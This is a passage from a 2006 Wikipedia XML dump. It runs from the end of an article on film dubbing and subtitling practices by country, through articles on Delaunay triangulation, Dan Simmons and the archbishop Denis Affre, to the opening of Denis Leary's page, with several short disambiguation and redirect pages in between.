In [[Portugal]] this has traditionally also been the case, but one terrestrial channel, [[TVI (Portugal)|TVI]], dubs US series like ''[[Dawson's Creek]]'' into [[Portuguese language|Portuguese]]. In [[Brazil]], foreign television programmes have invariably dubbed in Portuguese, with only a few exceptions, partly because of lower literacy rates, although films shown at cinemas are usually subtitled.

For the [[German language|German]] or [[Italian language|Italian-speaking]] markets, virtually all films and foreign television shows are dubbed. There are few opportunities to watch Hollywood movies in their original versions, and even in the largest cities there are only a few theatres that screen original versions with subtitles, or no translation at all. 

In [[France]], movies are often released theatrically in both dubbed and original versions. Big-budget Hollywood movies are usually available in both versions and art house movies are often available in their original version only. However, the availability of the original versions is often limited to certain districts of large cities.

In [[Greece]], all films are released theatrically in their original versions and contain subtitles.  Only cartoon films (e.g. [[Finding Nemo]], [[The Incredibles]] etc.) are released in both original and dubbed versions, for children that cannot yet read fast or at all. Foreign TV shows are also shown in their original versions except for most cartoons. For example [[The Flintstones]] is always dubbed, while [[Family Guy]] is subtitled and contains the original dialogue, since it is mostly for adults rather than children.

In [[Quebec]], [[Canada]], most films and TV programmes in English are dubbed into French. This has the advantage of making [[children]]'s TV series comprehensible to younger audiences, but many [[bilingual]] Quebecois prefer subtitling since they would understand some or all of the original audio. American television series are only available in English on [[DVD]], or on English language channels. Most [[anime]] DVDs contain options for original Japanese, Japanese with subtitles, and English dubbed, except for a handful of series which have been heavily edited and/or [[Americanized]].

In some countries, such as [[Thailand]] and [[South Africa]], the original soundtrack is simultaneously carried or &quot;simulcast&quot; on the radio.  

On [[DVD]]s with higher translation budgets, the option for both types will often be provided to account for individuals' preferences; [[purist]]s exist for both types of translation. For small markets (small language area or films for a select audience) subtitling is more suitable because it is cheaper. For films for small children, who can not yet read, or not yet very fast, dubbing is necessary.

==Other uses==
Dubbing is occasionally used on [[network television]] broadcasts of films which have dialogue that the network executives or [[censor]]s have decided to replace; this is usually done to remove [[profanity]]. In most cases, the original actor does not perform this duty; instead, an actor with a similar voice is called in. The results are sometimes seamless, but in many cases the voice of the replacement actor sounds nothing like the original performer, which becomes particularly noticeable when extensive dialogue needs to be replaced. Among the films considered notorious for using substitute actors that sound very different from their theatrical counterparts are the ''[[Smokey and the Bandit]]'' and ''[[Die Hard]]'' film series as shown on broadcasters such as [[TBS (TV network)|TBS]].

Dubbing is commonly used in [[science fiction]] television as well.  Sound generated by effects equipment such as animatronic puppets will quite often make the original character dialogue unusable.  ''[[Stargate]]'' and ''[[Farscape]]'' are two prime examples where ADR is used heavily to produce usable audio.

Since most anime series contain some extent of profanity, the studios recording the English dubs often re-record certain lines if a series or movie is going to be broadcast on [[Cartoon Network]], removing references to [[death]] and [[hell]] as well. Some companies will offer both an edited version and uncut version of the series on DVD, so there is also an edited script in case the series is broadcast. Other companies also edit the full-length version of a series, meaning that even on the uncut DVD, characters say things like &quot;Blast!&quot; &quot;Darn!&quot; in place of the original dialogue's profanity ([[Bandai|Bandai Entertainment]]'s English dub of [[G Gundam]] is infamous for this, among many other things). 

Although there are many fans who prefer the English Dubs, there are still many people who would prefer the undubbed version to air on TV, only with subtitles.

Dubbing into a foreign language does not always entail the deletion of the original language; in some countries, a performer may read the translated dialogue as a voiceover. This often occurs in [[Russia]] and [[Poland]], where &quot;lektories&quot; or &quot;lektors&quot; read the translated dialogue into [[Russian language|Russian]] and [[Polish language|Polish]]. In Poland, a single person reads all parts of the performance, both male and female. However, it is almost exclusively done for the television and home video markets, while theatrical releases are usually subtitled. Though, as of recently, the amount of high-quality, fully dubbed films has increased, especially for cartoons and children's movies. If a quality dubbed version exists for some film, it is shown in theaters (however, some films, such as [[Harry Potter]] or [[Star Wars]], are shown in both dubbed and subtitled versions varying with the time of the show) as well as on TV (although some channels drop it and do standard one narrator translation) and VHS/DVD. In other countries, like [[Vietnam]], the voiceover technique is also used for theatrical releases.

In Russia, the reading of all lines by a single person only occurs nowadays with [[pirate copy|pirated copies]] of films. Professional copies always include at least two actors of opposite gender translating the dialogue (some titles in Poland have been dubbed this way, too, but this method lacks public appeal so it is very rare now).

On special occasions, such as [[film festival]]s, live translation is often done by [[volunteer]]s. See also ''[[dubtitle]]''.

==Criticism and defence of dubbing==
Dubbing has been criticised in several ways, patricularly in countries where it is not common practice.

Those who dislike dubbing sometimes claim that it devalues films or TV programmes, as original soundtracks are closer to what the director intended. In some cases dubbing can make the film or programme less authentic. (For example, [[Nazi]] officers in [[World War II|WWII]] movies can be distracting to some if not speaking [[German language|German]]).

Also, lip synchronisation is normally lost when dubbing, even with quality dubbings between closely related languages. There are examples which have been reshot or reanimated to remedy this problem.

It can also be argued that using subtitles is assisting in increasing the proficiency in both understanding and speaking the original language due to the ongoing translation between the foreign audio and the local subtitled language. Using dubbing completely removes this benefit. This may be a major factor in explaining why people from countries using subtitles generally are more proficient in English than people from countries using dubbing on television for English-audio movies. A practical example of this is [[Italy]], where the majority of people receive some English tutoring and where the majority of people watch (a large amount of) television and yet the majority understand and speak no or very little English. If broadcasters in Italy showed programmes in the original English with subtitling in Italian, like the [[United Kingdom|UK]]'s [[BBC Prime]], proficiency in English might increase considerably over time. 

In countries with illiteracy in the television movies´ audio language (whether dubbed or not), it can be argued that subtitling in the same language as the audio would increase the literacy rate by acting as ongoing spelling and informal language education.

Defenders of dubbing maintain that subtitling interferes with the visual experience, as it obscures part of the picture. In many European countries, Hollywood movies are regularly dubbed and some people maintain that a creative translation (not necessarily faithful to the original English words) can bring more fun and depth to films, so that the supposedly more demanding European audience will not find them as tedious. In [[Hungary]] it is common for translators to create the [[Hungarian language|Hungarian]] text to rhyme for comedies and cartoons with well-known local actors providing their voices to read it. The most famous example is perhaps the [[The Flintstones]], with its entire Hungarian text in rhymes.

==External links==
*[http://www.geocities.com/gselinsky/nonsync.html How to film with non-synchronized cameras and dub]

[[Category:Translation]]
[[Category:Video and movie technology]]

[[cs:Dabing]]
[[de:Synchronisation]]
[[eo:Dublado]]
[[es:Doblaje]]
[[fr:Doublage]]
[[he:דיבוב]]
[[it:Doppiaggio]]
[[ja:&amp;#21561;&amp;#12365;&amp;#26367;&amp;#12360;]]
[[nl:Nasynchronisatie]]
[[pl:Dubbing]]
[[pt:Dublagem]]
[[sv:Dubbning (tolkning)]]</text>
    </revision>
  </page>
  <page>
    <title>Delaunay triangulation</title>
    <id>8864</id>
    <revision>
      <id>37223659</id>
      <timestamp>2006-01-29T16:08:01Z</timestamp>
      <contributor>
        <username>Joturner</username>
        <id>153365</id>
      </contributor>
      <comment>revert to last version by michael hardy</comment>
      <text xml:space="preserve">In [[mathematics]], and [[computational geometry]],  the '''Delaunay triangulation''' or '''Delone triangularization''' for a set '''P''' of points in the plane is the [[triangulation (advanced geometry)|triangulation]] DT('''P''') of '''P''' such that no point in '''P''' is inside the [[circumcircle]] of any [[triangle (geometry)|triangle]] in DT('''P'''). Delaunay triangulations maximize the minimum angle of all the angles of the triangles in the triangulation; they tend to avoid &quot;sliver&quot; triangles. The triangulation was invented by [[Boris Delaunay]] in 1934 [[#References|&lt;nowiki&gt;[1]&lt;/nowiki&gt;]].

[[Image:Delaunay triangulation.png|right|thumb|250px|This is the Delaunay triangulation of a random set of points in the plane&lt;!--, assuming the program I wrote was working correctly--&gt;.]]

In the general ''n''-dimensional case it is stated as follows: For a set '''P''' of points in the (''n''-dimensional) [[Euclidean space]], the '''Delaunay triangulation''' is the [[triangulation]] DT('''P''') of '''P''' such that no point in '''P''' is inside the [[circumcircle|circum-hypersphere]] of any [[simplex]] in DT('''P'''). 

Equivalently, the Delaunay [[triangulation]] of a [[discrete]] point set '''P''' is the [[Duality (projective geometry)|geometric dual]] of the [[Voronoi tessellation]] for '''P'''.

It is known that the Delaunay triangulation exists and is unique for '''P''', if '''P''' is a set of points in ''[[general position]]''; that is, no three points are on the same line and no four are on the same circle, for a two dimensional set of points, or no ''n'' + 1 points are on the same hyperplane and no ''n'' + 2 points are on the same hypersphere, for an ''n''-dimensional set of points. An elegant proof of this fact is outlined below. It is worth mentioning, because it reveals connections between the two constructs fundamental for [[computational geometry|computational]] and [[combinatorial geometry]].

The problem of finding the Delaunay triangulation of a set of points in ''n''-dimensional Euclidean space can be converted to the problem of finding the [[convex hull]] of a set of points in (''n'' + 1)-dimensional space, by giving each point &lt;math&gt;p&lt;/math&gt; an extra coordinate equal to &lt;math&gt;|p|^2&lt;/math&gt;, taking the bottom side of the convex hull, and mapping back to ''n''-dimensional space by deleting the last coordinate. As the convex hull is unique, so is the triangulation, assuming all facets of the convex hull are [[simplex]]es. A facet not being a simplex implies that ''n'' + 2 of the original points lay on the same ''d''-[[hypersphere]], and the points were not in general position.

On the other hand, it is easily seen that for the set of three points on the same line there is no Delaunay triangulation (in fact, no triangulation at all). On the other hand, for 4 points on the same circle (e.g., the vertices of a rectangle) the Delaunay triangulation is not unique: clearly, the two possible triangulations that split the quadrangle into two triangles satisfy the Delaunay condition.

Generalizations are possible to metrics other than Euclidean. However in these cases the Delaunay triangulation is not guaranteed to exist or be unique.

==Properties==

Let ''n'' be the number of points and ''d'' the number of dimensions.

*The union of all simplices in the triangulation is the convex hull of the points.
*The Delaunay triangulation contains at most &lt;math&gt;O(n^{\lceil d/2 \rceil})&lt;/math&gt; simplices.
*In the plane (''d'' = 2), if there are ''b'' vertices on the convex hull, then any triangulation of the points has at most 2''n''&amp;nbsp;&amp;minus;&amp;nbsp;2&amp;nbsp;&amp;minus;&amp;nbsp;''b'' triangles, plus one exterior face (see [[Euler characteristic]]).
*The Delaunay triangulation maximizes the minimum angle.  Compared to any other triangulation of the points, the smallest angle in the Delaunay triangulation is at least as large as the smallest angle in any other.  The converse is not true: the Delaunay does not necessarily minimize the maximum angle.

==Algorithms==

All algorithms for computing Delaunay triangulations rely on fast operations for detecting when a point is within a triangle's circumcircle and an efficient data structure for storing triangles and edges.  In two dimensions, one way to detect if point ''D'' lies in the circumcircle of ''A'', ''B'', ''C'' is to evaluate the [[determinant]]
:&lt;math&gt;\begin{bmatrix}A_x&amp;A_y&amp;A_x^2 + A_y^2&amp;1\\
B_x&amp;B_y&amp;B_x^2 + B_y^2&amp;1\\
C_x&amp;C_y&amp;C_x^2 + C_y^2&amp;1\\
D_x&amp;D_y&amp;D_x^2 + D_y^2&amp;1\end{bmatrix}&lt;/math&gt;
Assuming ''A'', ''B'' and ''C'' to lie [[counter-clockwise]], this is positive if and only if ''D'' lies in the circumcircle.

===Incremental===

The most straightforward way of computing the Delaunay triangulation is to repeatedly add one vertex at a time, retriangulating the affected parts of the graph.  When a vertex is added, a search is done for all triangles' circumcircles containing the vertex.  Then, those triangles are removed and that part of the graph retriangulated.  Done naively, this results in a running time of O(''n''&lt;sup&gt;2&lt;/sup&gt;).

A common way to speed up this method is to sort the vertices by the first coordinate, and add them in that order.  Then, one only needs to keep track of circumcircles containing points of large of enough first coordinate.  The expected running time in two dimensions in this case is O(''n''&lt;sup&gt;3/2&lt;/sup&gt;) although the worst case continues to be O(''n''&lt;sup&gt;2&lt;/sup&gt;).

If one inserts the vertices in a random order, the running time is O(''n'' log ''n'') expected.

Another efficient (O(''n'' log ''n'')) incremental algorithm keeps the whole history of the triangulation in the form of a tree. The elements replacing a conflicting element in an insertion are called its children. When a parent is in conflict with a point to be inserted, so are its children. This provides a fast way of getting the list of triangles to remove (which is the slowest part of any incremental insertion algorithm).

===Divide and conquer===

A [[divide and conquer]] algorithm for triangulations in two dimensions is due to Guibas and Stolfi.  In this algorithm, one recursively draws a line to split the vertices into two sets, the Delaunay triangulation is computed for each set, and then the two sets are merged along the splitting line.  Using some clever tricks, the merge operation can be done in time O(''n''), so the total running time is O(''n''&amp;nbsp;log&amp;nbsp;''n'').

For certain types of point sets, such as a uniform random distribution, by intelligently picking the splitting lines the expected time can be reduced to O(''n''&amp;nbsp;log&amp;nbsp;log&amp;nbsp;''n'') while still maintaining worst-case performance.

A divide and conquer paradigm to performing a triangulation in ''d''-dimensions is presented in &quot;DeWall: A Fast Divide &amp; Conquer Delaunay Triangulation Algorithm in E&lt;sup&gt;d&lt;/sup&gt;&quot; by P. Cignoni, C. Montani, R. Scopigno.

===Sweepline===

This is another O(''n''&amp;nbsp;log&amp;nbsp;''n'') algorithm for two dimensions.  However in most implementations the divide and conquer approach provides better performance.

== Applications ==

The [[Euclidean minimum spanning tree]] of a set of points is a subset of the Delaunay triangulation of the same points, and this can be exploited to compute it efficiently.

For modeling terrain or other objects given a set of sample points, the Delaunay triangulation gives a nice set of triangles to use as polygons in the model.  In particular, the Delaunay triangulation avoids narrow triangles (as they have large circumcircles compared to their area).

Delaunay triangulations are often used to build meshes for the [[finite element method]], because of the angle guarantee and the fact that we know fast triangulation algorithms.  Typically, the domain to be meshed is specified as a coarse [[simplicial complex]]; for the mesh to be numerically stable, it must be refined, for instance by using [[Ruppert's algorithm]].  This has been implemented by [[Jonathan Shewchuk]] in the freely available [http://www.cs.cmu.edu/~quake/triangle.html Triangle] package.

== References ==
# B. Delaunay, Sur la sphère vide, ''Izvestia Akademii Nauk SSSR'', Otdelenie Matematicheskikh i Estestvennykh Nauk, '''7''':793-800, 1934

== External links ==

* http://www.cs.cornell.edu/Info/People/chew/Delaunay.html
* http://goanna.cs.rmit.edu.au/~gl/research/comp_geom/delaunay/delaunay.html
* http://astronomy.swin.edu.au/~pbourke/terrain/triangulate
* http://www-2.cs.cmu.edu/~quake/tripaper/triangle0.html

[[Category:Discrete geometry]]
[[Category:Geometric algorithms]]

[[de:Delaunay-Triangulation]]
[[fr:Triangulation de Delaunay]]
[[he:&amp;#1513;&amp;#1497;&amp;#1500;&amp;#1493;&amp;#1513; &amp;#1491;&amp;#1500;&amp;#1493;&amp;#1504;&amp;#1497;]]
[[pl:Triangulacja Delaunay]]
[[sl:Delaunayeva triangulacija]]</text>
    </revision>
  </page>
  <page>
    <title>Defendant</title>
    <id>8865</id>
    <revision>
      <id>41117472</id>
      <timestamp>2006-02-25T03:59:23Z</timestamp>
      <contributor>
        <username>Sunnyhsli</username>
        <id>430029</id>
      </contributor>
      <text xml:space="preserve">A '''defendant''' or '''defender''' is any party who is required to answer the [[complaint]] of a [[plaintiff]] or [[pursuer]] in a civil [[lawsuit]] before a [[court]], or any party who has been formally [[charge|charged]] or accused of violating a [[crime|criminal]] [[statute]].

A defendant in a civil action usually makes his or her first court appearance voluntarily in response to a summons, whereas a defendant in a Criminal law criminal case is usually taken into custody by police and brought before a court, pursuant to an arrest warrant. The actions of a defendant, and its lawyer counsel, is known as the defense defence. 

A '''respondent''' is the parallel term used in a proceeding which is commenced by [[petition]].

Historically, a defendant in a civil action could also be taken into custody pursuant to a writ of ''[[capias ad respondendum]]'' and forced to post [[bail]] before being released from custody.  However, a modern day defendant in a civil action is usually able to avoid most (if not all) court appearances if he or she is represented by a [[lawyer]] whereas a defendant in a criminal case (particularly a [[felony]] or [[indictment]]) is usually obliged to post bail before being released from custody and must be present at every stage thereafter of the proceedings against him or her.

In an informal usage and non-legalistic sense outside the legal [[context]], the term ''respondent'' can be used to refute or response to a thesis or an argument in question [http://selfknowledge.com/81325.htm].

In [[cross-cultural communication]] , a [[respondent]]  is the second person responding to the meaning or message from an original source which has been contextualised [[Contextualization]] or decoded for the understanding of respondents as ''recipients or hearers''  of the message occurring from a different cultural context.

==Elsewhere==

In [[Hong Kong]], a defendant is still referred to as defendant.


[[Category:Legal terms]]

[[cs:Žalovaný]]
[[de:Beklagter]]
[[es:demandado]]
[[ja:被告]]
[[zh:被告]]</text>
    </revision>
  </page>
  <page>
    <title>Department of Defense</title>
    <id>8867</id>
    <revision>
      <id>15906806</id>
      <timestamp>2003-11-22T05:59:53Z</timestamp>
      <contributor>
        <username>Minesweeper</username>
        <id>7279</id>
      </contributor>
      <comment>redirect to most common usage</comment>
      <text xml:space="preserve">#REDIRECT [[United States Department of Defense]]</text>
    </revision>
  </page>
  <page>
    <title>Dimensional analysis/comments</title>
    <id>8870</id>
    <revision>
      <id>15906808</id>
      <timestamp>2002-02-25T15:51:15Z</timestamp>
      <contributor>
        <ip>Conversion script</ip>
      </contributor>
      <minor />
      <comment>Automated conversion</comment>
      <text xml:space="preserve">#REDIRECT [[talk:Dimensional analysis]]

:''See also :'' [[Dimensional analysis]]</text>
    </revision>
  </page>
  <page>
    <title>District of Ajmere</title>
    <id>8872</id>
    <revision>
      <id>15906809</id>
      <timestamp>2004-08-07T02:49:06Z</timestamp>
      <contributor>
        <username>Timwi</username>
        <id>13051</id>
      </contributor>
      <minor />
      <comment>fix double-redirect</comment>
      <text xml:space="preserve">#REDIRECT [[Ajmer]]</text>
    </revision>
  </page>
  <page>
    <title>Domitius Afer</title>
    <id>8873</id>
    <revision>
      <id>30279636</id>
      <timestamp>2005-12-06T00:07:27Z</timestamp>
      <contributor>
        <username>LaurenCole</username>
        <id>550718</id>
      </contributor>
      <text xml:space="preserve">'''Domitius Afer''' (died [[60]]) was a [[Roman Empire|Roman]] [[orator]] and advocate, born at Nemausus ([[Nimes|Nîmes]]) in ''[[Gallia Narbonensis]]''. He flourished in the reigns of [[Tiberius]], [[Caligula]], [[Claudius]] and [[Nero]].

His pupil [[Quintilian]] calls him the greatest orator he had ever known; but he disgraced his talents by acting as public informer against some of the most distinguished personages in [[Rome]]. He gained the favour of Tiberius by accusing [[Agrippina the Elder]], the widow of [[Germanicus]], of [[adultery]] and the use of magic arts against the emperor. Judicious flattery secured him the [[consulship]] under Caligula ([[39]]); and under Nero he was superintendent of the water supply. He died AD [[60]], according to [[Jerome]], of over-eating.

Quintilian quotes some of his witty sayings (''dicta''), collections of which were published, and mentions two books by him On Witnesses.

==References==
* Quintilian, ''Instit.'' vi. 3. 42, viii. 5. 16, x. 1. 118, &amp;c.; Tac. ''Ann.'' iv. 52;
* Dio Cassius lix. 19, lx. 33;
* Pliny, ''Epp.'' viii. 18.

{{1911}}

[[Category:Ancient Romans]]
[[Category:60 deaths]]
[[fr:Domitius Afer]]</text>
    </revision>
  </page>
  <page>
    <title>Davis</title>
    <id>8874</id>
    <revision>
      <id>42017584</id>
      <timestamp>2006-03-03T06:19:48Z</timestamp>
      <contributor>
        <username>Downwards</username>
        <id>671535</id>
      </contributor>
      <text xml:space="preserve">The word '''Davis''' when used alone, has a number of possible meanings:

Schools named '''Davis''':
*[[UC Davis]]

Places named '''Davis''':
*[[Davis, California]]
*[[Davis, Illinois]]
*[[Davis, Oklahoma]]
*[[Davis Station]] - the Australian base in [[Antarctica]]

People named '''Davis''':
*[[Bette Davis]], actress
*[[Geena Davis]], actress
*[[Glenn Robert Davis]], a member of the United States House of Representatives representing Wisconsin's Ninth Congressional District from April 22, 1947 to January 3, 1957 and again from January 3, 1965 to December 31, 1974.
*[[Gray Davis]], former governor of California
*[[Howell Davis]], [[pirate]]
*[[John Davis (English explorer)|John Davis]], an english explorer
*[[H. L. Davis]], novelist and poet
*[[Jefferson Davis]], president of the [[Confederate States of America]] 
*[[Mark Davis (baseball)|Mark Davis]], baseball player
*[[Mark Davis (NBL)|Mark Davis]], basketball player
*[[Mark Anthony Davis|Mark Davis]], basketball player
*[[Mark Davis (porn actor)|Mark Davis]], porn actor
*[[Mark Davis (talk show host)|Mark Davis]], radio talk show host
*[[Miles Davis]], jazz musician 
*[[Priscilla Davis]], [[Fort Worth, Texas]] socialite
*[[Richard Harding Davis]], writer and journalist
*[[Sean Davis]], English footballer
*[[Shani Davis]], American Speedskater
*[[Steve Davis]], snooker player
*[[Steven Davis (footballer)|Steven Davis]], Northern Irish footballer
*[[Stuart Davis (painter)]]
*[[Stuart Davis (musician)]]
*[[T. Cullen Davis]], owner of KenDavis Industries, accused of and found innocent of murdering [[Andrea Wilborn]], the daughter of Priscilla Davis

Other uses:
*A company '''DAVIS''' which made [[video projector|video projectors]]
*'''Davis''', an automobile manufacturer


{{disambig}}
[[de:Davis]]</text>
    </revision>
  </page>
  <page>
    <title>Dan Simmons</title>
    <id>8875</id>
    <revision>
      <id>42039480</id>
      <timestamp>2006-03-03T11:09:54Z</timestamp>
      <contributor>
        <username>Attilios</username>
        <id>428795</id>
      </contributor>
      <minor />
      <comment>simmons image</comment>
      <text xml:space="preserve">[[Image:Locus_simmons.jpg|thumb|Dan Simmons portrayed on the cover of ''Locus'' magazine.]]
[[Image:Hyperion_omnibus.jpg|thumb|Cover for an omnibus edition of ''Hyperion cantos'', Simmons's most famous work.]]
[[Image:U1288.jpg|thumb|Cover for the Italian edition of ''Song of Kali'' (1985). Art by [[Oscar Chichoni]].]]
'''Dan Simmons''' (born [[April 4]], [[1948]] in [[Peoria, Illinois|Peoria]], [[Illinois]]) is an [[United States|American]] [[author]] most widely known for his [[Hugo Award]]-winning science fiction [[novel]] ''Hyperion'' and its sequel ''The Fall of Hyperion''.  The other novels in this series, which is known as the [[Hyperion Cantos]], are ''Endymion'' and ''The Rise of Endymion''. He spans genres such as [[science fiction]], [[Horror fiction|horror]] and [[fantasy]], sometimes within the same novel: a typical example of Simmons' ability to intermingle genres is ''[[Song of Kali]]'' ([[1985]]), winner of [[World Fantasy Award]]. He is also a respected author of mysteries and thrillers.

==Biography==

Simmons received a B.A. in English from [[Wabash College]] in 1970, and, in 1971, a Masters in Education from Washington University in [[St. Louis]]. He subsequently worked in elementary education until 1989.

He soon started to write short stories, although his career did not took off until [[1982]], when, through [[Harlan Ellison]]'s help, his short story &quot;The River Styx Runs Upstream&quot; was published. His first novel, ''Song of Kali'', was released in [[1985]]. 

Simmons became famous in [[1989 in literature|1989]] for ''[[Hyperion (book)|Hyperion]]'', winner of [[Hugo Award|Hugo]] and [[Locus Award]] for the best science fiction novel. This is a novel dealing with a space war, inspired in his structure to [[Boccaccio]]'s ''[[Decameron]]'' and [[Chaucer]]'s ''[[Canterbury Tales]]'': since the very beginning Simmons showed as one of the few &quot;genre&quot; authors provided not only with plot dealing abilities, but also with a high-level prose derived from his familiarity with classics. Many of his works have indeed similarly strong ties with literature: ''[[Carrion Comfort]]'' derives its title and many of its themes from a [[Gerard Manley Hopkins]]' poem; ''[[The Hollow Man (1992 novel)|The Hollow Man]]'' ([[1992]]) is influenced by [[T.S. Eliot]] and [[Dante]]'s ''[[Inferno]]''; a short story from [[1993 in literature|1993]], &quot;The Great Lover&quot;, is inspired to the [[World War I]] [[War Poets]]. In ''[[The Fall of Hyperion]]'', [[John Keats]] appears as one of the main characters. Finally, his ''Ilium'' cycle is clearly inspired to [[Homer]]'s works.

''[[Summer of Night]]'' (1991) recounts the childhood of a group of pre-teens who band together in the [[1960s]] to defeat a centuries-old evil that terrorizes their hometown, Elm Haven, [[Illinois]]. This novel is similar to [[Stephen King]]'s ''[[It (novel)|It]]'', in its focus on small town life, the corruption of innocence, the return of an ancient evil, and the responsibility for others that emerges with the transition from youth to adulthood.  Soon after this novel, Simmons, who had written mostly horror fiction, began writing science fiction.  

In January 2004, it was announced that the screenplay he wrote for his novels ''Ilium'' and ''Olympos'' would be made into a film by [[Digital Domain]] and Barnet Bain Films, with Simmons acting as executive producer.  ''Ilium'' is described as an &quot;epic tale that spans 5,000 years and sweeps across the entire solar system, including themes and characters from [[The Iliad|Homer's ''The Iliad'']] and [[The Tempest (play)|Shakespeare's ''The Tempest'']].&quot;  In July 2004, ''Ilium'' received a [[Locus Award]] for best science fiction novel of [[2003]].

== Works ==
===[[Hyperion Cantos]]===
* ''[[Hyperion (book)|Hyperion]]'' ([[1989]]) - [[Hugo Award]] [[1990]], [[Locus Award]] [[1990]] (Science Fiction)
* ''[[The Fall of Hyperion]]'' ([[1990]])
* ''[[Endymion (book)|Endymion]]'' ([[1996]])
* ''[[The Rise of Endymion]]'' ([[1997]])

===Ilium===
* ''[[Ilium (novel)|Ilium]]'' ([[2003]]) - [[Locus Award]] [[2004]]
* ''[[Olympos (novel)|Olympos]]'' ([[2005]])

===Joe Kurtz===
* ''Hardcase'' ([[2001 in literature|2001]])
* ''Hard Freeze ([[2002]])
* ''Hard as Nails'' ([[2003]])

===Other books===
* ''[[Song of Kali]]'' ([[1985]]) - [[World Fantasy Award]] [[1986]]
* ''[[Carrion Comfort]]'' ([[1989]])
* ''Phases of Gravity'' ([[1989]])
* ''Entropy's Bed at Midnight'' ([[1990]])
* ''Prayers to Broken Stones'' ([[1990]], short story collection)
* ''[[Summer of Night]]'' ([[1991]])
* ''Summer Sketches'' ([[1992]], short story collection}
* ''[[Children of the Night (book)|Children of the Night]]'' ([[1992]]) - [[Locus Award]] [[1993]] (Horror)
* ''Lovedeath'' ([[1993]], short story collection)
* ''[[The Hollow Man (1992 novel)|The Hollow Man]]'' ([[1992]])
* ''Fires of Eden'' ([[1994]])
* ''[[The Crook Factory]]'' ([[1999]])
* ''[[Darwin's Blade]]'' ([[2000]])
* ''[[A Winter Haunting]]'' ([[2002]])
* ''Worlds Enough &amp; Time'' ([[2002]], short story collection)
* ''The Terror'' ([[2007]])

==External links==
*[http://www.dansimmons.com Official Site]

[[Category:1948 births|Simmons, Dan]]
[[Category:Living people|Simmons, Dan]]
[[Category:American horror writers|Simmons, Dan]]
[[Category:American science fiction writers|Simmons, Dan]]
[[Category:Hugo Award winning authors|Simmons, Dan]]
[[Category:World Fantasy Award winning authors|Simmons, Dan]]

[[bg:Дан Симънс]]
[[cs:Dan Simmons]]
[[da:Dan Simmons]]
[[de:Dan Simmons]]
[[es:Dan Simmons]]
[[fr:Dan Simmons]]
[[it:Dan Simmons]]
[[nl:Dan Simmons]]
[[ja:ダン・シモンズ]]
[[ru:Симмонс, Дэн]]
[[fi:Dan Simmons]]</text>
    </revision>
  </page>
  <page>
    <title>Denis Auguste Affre</title>
    <id>8876</id>
    <revision>
      <id>41731782</id>
      <timestamp>2006-03-01T10:08:32Z</timestamp>
      <contributor>
        <username>Rich Farmbrough</username>
        <id>82835</id>
      </contributor>
      <minor />
      <comment>Ced.</comment>
      <text xml:space="preserve">'''Denis-Auguste Affre''' ([[27 September]] [[1793]] - [[27 June]] [[1848]]), [[archbishop of Paris]], was born at St Rome, in the department of [[Tarn]].

He was educated for the priesthood at [[Saint-Sulpice (Paris)|Saint-Sulpice]], where in [[1818]] he became professor of [[dogmatic theology]].  After filling a number of ecclesiastical offices, he was elevated to the archbishopric of [[Paris]] in [[1840]].  Though opposed to the government of [[Louis-Philippe]], he took no part in politics, but devoted himself to his pastoral work.  His episcopate, however, is chiefly remembered owing to its tragic close.  During the insurrection of June [[1848]] the archbishop was led to believe that by his personal interference peace might be restored between the soldiery and the [[insurgent]]s.  Accordingly, in spite of the warning of [[Louis Eugène Cavaignac|General Cavaignac]], he mounted the barricade at the entrance to the [[Faubourg Saint-Antoine]], bearing a green branch as sign of peace.  He had spoken only a few words, however, when the insurgents, hearing some shots, and fancying they were betrayed, opened fire upon the national guard, and the archbishop fell, struck by a stray bullet.  He was removed to his palace, where he died on [[27 June]].

Next day the [[National Assembly]] issued a decree expressing their great sorrow on account of his death; and the public funeral on [[7 July]] was one of the most striking spectacles of its kind.  The archbishop wrote several treatises of considerable value, including an ''Essai sur les hieroglyphes egyptiens'' (Paris, [[1834]]), in which he showed that [[Jean-François Champollion|Champollion]]'s system was insufficient to explain the hieroglyphics. 

==References==
* Ricard, ''Les grands eveques de l'eglise de France au XIXe siècle'' (Lille, [[1893]])
* [[L. Alazard]], ''Denis-Auguste Affre, archeveque de [[Paris]]'' ([[Paris]], [[1905]])

{{1911}}

[[Category:1793 births|Affre]]
[[Category:1848 deaths|Affre]]
[[Category:French bishops|Affre]]
[[Category:Roman Catholic archbishops|Affre]]

[[de:Denis Auguste Affre]]
[[fr:Denys Affre]]

{{start box}}{{succession box|title=[[Archbishop of Paris]]|before=[[Hyacinthe-Louis de Quélen]]| | years=1840&amp;ndash;1848 | after=[[Marie Dominique Auguste Sibour]]}}{{end box}}</text>
    </revision>
  </page>
  <page>
    <title>Dione</title>
    <id>8877</id>
    <revision>
      <id>38848189</id>
      <timestamp>2006-02-09T00:54:32Z</timestamp>
      <contributor>
        <username>Kevin Ryde</username>
        <id>564285</id>
      </contributor>
      <comment>revise per [[MOS:DP]], drop the pronunciations which I think are much better left to the articles themselves</comment>
      <text xml:space="preserve">'''Dione''' may refer to,

* [[Dione (mythology)]], in Greek mythology, Titan and the mother of Aphrodite by Zeus
* [[Dione (moon)]], moon of Saturn
* [[106 Dione]], asteroid
* [[Dione (chemistry)]], a molecule with two ketone functional groups
* [[Dione (DJ)]], Dutch Hardcore DJ

See also,

* [[Dion]]

{{disambig}}

[[es:Dione]]
[[nl:Dione]]
[[ja:ディオネ]]
[[fi:Dione]]
[[zh:狄俄涅]]</text>
    </revision>
  </page>
  <page>
    <title>Denis Leary</title>
    <id>8878</id>
    <revision>
      <id>42059843</id>
      <timestamp>2006-03-03T14:59:58Z</timestamp>
      <contributor>
        <username>BrownHairedGirl</username>
        <id>754619</id>
      </contributor>
      <comment>/* Early life */  dab. Catholic</comment>
      <text xml:space="preserve">[[Image:Denis Leary.jpg|right|thumb|Denis Leary]]

'''Denis Colin Leary''' (born [[August 18]], [[1957]]) is an [[United States|American]] [[actor]], [[comedian]], [[writer]] and [[film director|director]]. He is infamous for his dirty and often angst-filled humor. 

==Early life==
